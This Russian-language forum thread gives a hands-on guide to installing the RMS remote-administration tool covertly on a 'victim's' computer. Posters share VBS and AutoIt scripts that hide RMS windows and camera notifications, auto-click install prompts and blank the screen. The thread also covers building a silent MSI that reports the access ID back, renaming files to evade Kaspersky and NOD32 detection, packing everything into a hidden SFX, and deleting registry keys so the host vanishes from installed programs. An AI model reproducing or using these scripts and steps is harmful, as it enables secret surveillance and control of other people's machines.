RMS - полностью скрытая установка и управление.

[Magic_Mushroom]

Приведу пример "Штучки" на vbs:

Скопировать в буфер обмена

Set shell = WScript.CreateObject("WScript.Shell")
timeout = 5
title = "RMS_WND_HID"
Do
If shell.AppActivate(title) Then
Shell.SendKeys "%{F4}"
 
End If
WScript.Sleep 300
timeout = timeout - 1
 
Loop

появляется на секунду банер и пропадает, немного палевно, в дллке экран гас на секунду в момент прятанья таблички и загорался снова :)
не плохо было бы и здесь так сделать

 

[X-Shar]

А у тебя на 7-ке длл-ка работает ?

Большая вероятность что там работать не будет...

В vbs не знаю как сделать отключение экрана, но есть командная строка nircmd с расширенными возможностями, отключать можно от сюда, либо батником, либо vbs:

Скопировать в буфер обмена

nircmd.exe monitor off

Т.е. у тебя будет примерно так:

Скопировать в буфер обмена

	Set shell = WScript.CreateObject("WScript.Shell")
	timeout = 5
	title = "RMS_WND_HID"
	Do
	If shell.AppActivate(title) Then
	WshShell.Run "nircmd.exe monitor off"
	Shell.SendKeys "%{F4}"
	End If
	WScript.Sleep 300
	timeout = timeout - 1
 
	Loop

Можно и батником попробовать запустить, т.к. vbs у меня получился глюк, если сделать:

Скопировать в буфер обмена

WshShell.Run "nircmd.exe monitor off"
WshShell.Run "nircmd.exe monitor on"

То экран начнёт мигать и поможет только перезагрузка...

Во вложении эта командная строка + прикол про который я сказал...

Пароль:111

 

[Magic_Mushroom]

А у тебя на 7-ке длл-ка работает ?

отлично работает на 7 и на хр:)

есть командная строка nircmd с расширенными возможностями

а вот это немного неудобно, не хотелось бы ставить ее на каждый компьютер жертвы
надеюсь на другие варианты, отключение монитора через вбс поискал, ничего внятного не нашел :с

 

[Magic_Mushroom]

мб можно что-то придумать с C:\Windows\System32\scrnsave.scr (просто заставка темного экрана)
чтобы запускалась в момент прятанья таблички , потом двигаешь мышкой и эта заставка спадает

 

[X-Shar]

Последний штрих, инструкция как сделать свой билд из офф. сборки:

1)Качаем сборку

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

;

2)Далее Viewer->Инструменты->MSI-Конфигуратор:

3)Указываем путь к своему хосту (Он находится в архиве вместе с вьювером)

Ставим One-Click пакет. Удобен для тихой и простой установки. Удаленный пользователь просто запускает данный файл, далее программа сама, без дополнительных вопросов, установится на удаленном компьютере. Конфигурируем куда присылать ID, ну понятно, делаем так что-бы он не отображался в меню и т.д.

4)Получим пакет MSI, это и есть наш билд...

5) Перед тем как его посылать к жертве делаем следующее:

5.1)На самом деле наша сборка состоит из двух файлов, которые можно распаковать винраром:

Install.cmd содержит примерно следующий код:

Скопировать в буфер обмена

@chcp 1251
@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /passive REBOOT=ReallySuppress
@MsiExec /x {0D3BB12F-9903-4D4A-A062-97947D2AB44E} /passive REBOOT=ReallySuppress
@ping 127.0.0.1
@MsiExec /I "rms.host5.6ru.msi" /qn

Этот код может детектиться некоторыми АВ, поэтому:

Чтоб "криптануть" батник достаточно изменить имя самого msi-файла - т.е изменить в батнике его имя "rms.host5.6ru.msi" на "rOs.host5.6ru.msi" и детект каспера и нода на файл слетит.

Как всё это сделали, нужно заново сконфигурировать инсталлер...

Либо сделать проще поменять имя хоста (rms.host5.6ru.msi) скаченного с офф. сайта и в пункте 3 сконфигурировать...

5.2)Вот мы сделали офф. сборку, т.е. получили exe файл с которым и будем работать, дальше нам нужно автоматически нажать на кнопку "Да", когда РМС устанавливается у жертвы, для этого нужна дополнительная "Штучка", вот навоял на AutoIT:

Скопировать в буфер обмена

$Var1 = WinWait("Remote Manipulator System - Вопрос")
While 1
	Sleep (100)
	If $Var1 <> 0 Then
		ControlClick($Var1, "", "[CLASS:Button;INSTANCE:1]")
		ExitLoop
	  EndIf
WEnd

Можете подкорректировать, но работает (

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

) ,файлы во вложении (Пароль 111) там-же реализовал обход веба, но начинают палить другие...

5.3)Для отключения оповещения камеры, юзаем этот скрипт:

Скопировать в буфер обмена

	Set shell = WScript.CreateObject("WScript.Shell")
	timeout = 5
	title = "RMS_WND_HID"
	Do
	If shell.AppActivate(title) Then
	Shell.SendKeys "%{F4}"
 
	End If
	WScript.Sleep 300
	timeout = timeout - 1
 
	Loop

6)Итого у нас три файла:MSI, скрипт AutoIT, скрипт VB:

Далее запаковываем всё это в SFX и выполняем в следующем порядке:

1.Скрипт АутоИТ;
2.Скрипт VBS;
3.Наш инсталлер

Ну и скрытый режим не забыть:

УРААА, вроде всё !

 

[X-Shar]

Что-то никак немог успокоится, последний штрих это видяшка как всё нужно делать...

Будет всего два файла:

Сборка msi и скрипт AutoIT, им мы и запустим наш билд скрыто, там код теперь такой:

Скопировать в буфер обмена

ShellExecute("RMS_Build.exe")
$Var1 = WinWait("Remote Manipulator System - Вопрос")
While 1
	Sleep (100)
	If $Var1 <> 0 Then
		ControlClick($Var1, "", "[CLASS:Button;INSTANCE:1]")
		ExitLoop
	EndIf
WEnd

ShellExecute("RMS_Build.exe") -запускает билд, далее код для скрытия установки идёт...

vbs можно и позже запускать, если нужна камера...

Далее будут ролики реакции различных АВ на эту сборку с настройками "По умолчанию"...

Вот сама видяшка:

 

[X-Shar]

Как и обещал вот ролики:

Обход Eset:

Обход KIS:

 

[Magic_Mushroom]

помогите дописать батник на удаление :) чтобы все следы удалял

Спойлер

Скопировать в буфер обмена

@echo off
attrib -S -H -r "%windir%\system32\sysfiles\*.*"
attrib -S -H -r "%windir%\syswow64\sysfiles\*.*"
attrib -S -H -r "%ProgramFiles%\Remote Manipulator System - Host"
attrib -S -H -r "%ProgramFiles(x86)%\Remote Manipulator System - Host"
 
taskkill /F /IM rutserv.exe
taskkill /F /IM rfusclient.exe
taskkill /F /IM rfusclient.exe
del /f /s /q "%windir%\system32\sysfiles"
del /f /s /q "%windir%\syswow64\sysfiles"
del /f /s /q "%ProgramFiles(x86)%\Remote Manipulator System - Host"
del /f /s /q "%ProgramFiles%\Remote Manipulator System - Host"
 
MsiExec /x {54067864-C0E7-47DB-A0C1-D6C874CE6BD8} /qn REBOOT=ReallySuppress
reg delete "HKEY_CURRENT_USER\Software\TektonIT" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System" /f
reg delete "HKEY_USERS\S-1-5-21-1638964724-2816281648-2544355287-1000\Software\TektonIT" /f
reg delete "HKEY_CLASSES_ROOT\Installer\Products\468760457E0C BD740A1C6D8C47ECB68D" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Pro ducts\468760457E0CBD740A1C6D8C47ECB68D" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\1ABE421E8CFC34144AACB9676F71902E" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\2A013281E9DC1714CA1DA3DE2D061AF5" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\6364F69515D55F943B4B3F3C669ECD32" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\6EDC4423414699340B5D245426472701" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\E45BAE6295648E74689FC47BF4E730EB" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Components\E5052F47A02BDEA469F8EAB572D83BA8" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Installer\UserData\S-1-5-18\Products\468760457E0CBD740A1C6D8C47ECB68D" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Uninstall\{54067864-C0E7-47DB-A0C1-D6C874CE6BD8}" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ RManService" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi ces\RManService" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uni nstall\{AB7AA605-500F-4153-8207-FB5563419112}" /f
reg delete "HKCR\Installer\Products\506AA7BAF00535142870BF5536 141921" /f
end

часть с удалением ключей из реестра скопировал откуда-то, не уверен, что там все правильно.
вообщем суть проблемы в том, что батник то вроде все удаляет, но при запуске установщика самого хоста, сначала вылазит окно "установщик виндовс" "подготовка удаления" , если удалять через установка и удаление программ удалять хост, то все норм.
и еще кое-что
что удалить в реестре, чтобы скрыть рмс хост из установка и удаление программ?
как сделать , чтобы повторно не переустанавливался хост, при повторном запуске файла? :)

 

[Антоха]

что удалить в реестре, чтобы скрыть рмс хост из установка и удаление программ?

Идём сюда HKEY_LOCAL_MACHINE => SOFTWARE => Microsoft => Windows => CurrentVersion => Uninstall и тут смотрим по ключам,если в списке параметров ключа в пункте Display Name есть название нашего РМСа,то это как раз то что нужно.Смело удаляем его.Не знаю только у всех ли РМСов имя ключа одинаковое.

как сделать , чтобы повторно не переустанавливался хост, при повторном запуске файла? :)

Ты про Олегову сборку или про ифудовскую?Батником-самоудаление или в Олеговом аутоитовском скрипте прописать.Не знаю как это выглядит на аутоите.

 

[Magic_Mushroom]

хм, в виндовской стандартной программе установка и удаление программ - пропадает , а в сторонней программе с возможностью удаления программ все равно показывается, ифудовская сборка там не отображалась , видимо это цена за за беспалевную установку :с

остались 1 вопрос в завершении безпалевной сборочки:)
нужно как-то дописать скрипт AutoIT, чтобы при исполнении скрипта (по прятанью банера и нажатию "да" при установке) гас экран на секунду , чтобы не так палилось.
нашел какой-то скрипт на эту тему, я к сожалению не знаю как это применить и вообще это походу не то, что нужно.
будет просто отлично, если кто-нибудь поможет справится с этой проблемой

Спойлер

Скопировать в буфер обмена

Func _Monitor($iNum)
; 0 = Off
; 1 = On
; failure = -1
; success = -2
	const $WM_SYSCommand = 274, $SC_MonitorPower = 61808, $Power_On = -1, $Power_Off = 2
	$HWND = WinGetHandle(WinGetTitle("",""))
	If $iNum = 0 Then
		DllCall("user32.dll","int","SendMessage","hwnd",$HWND,"int",$WM_SYSCommand,"int",$SC_MonitorPower,"int",$Power_Off)
				If @error Then
			Return -1
		Else
			Return -2
		EndIf
		Exit
	ElseIf $iNum = 1 Then
		DllCall("user32.dll","int","SendMessage","hwnd",$HWND,"int",$WM_SYSCommand,"int",$SC_MonitorPower,"int",$Power_On)
		If @error Then
			Return -1
		Else
			Return -2
		EndIf
		Exit
	Else
		Return -1
		Exit
	EndIf
EndFunc; _Monitor(1)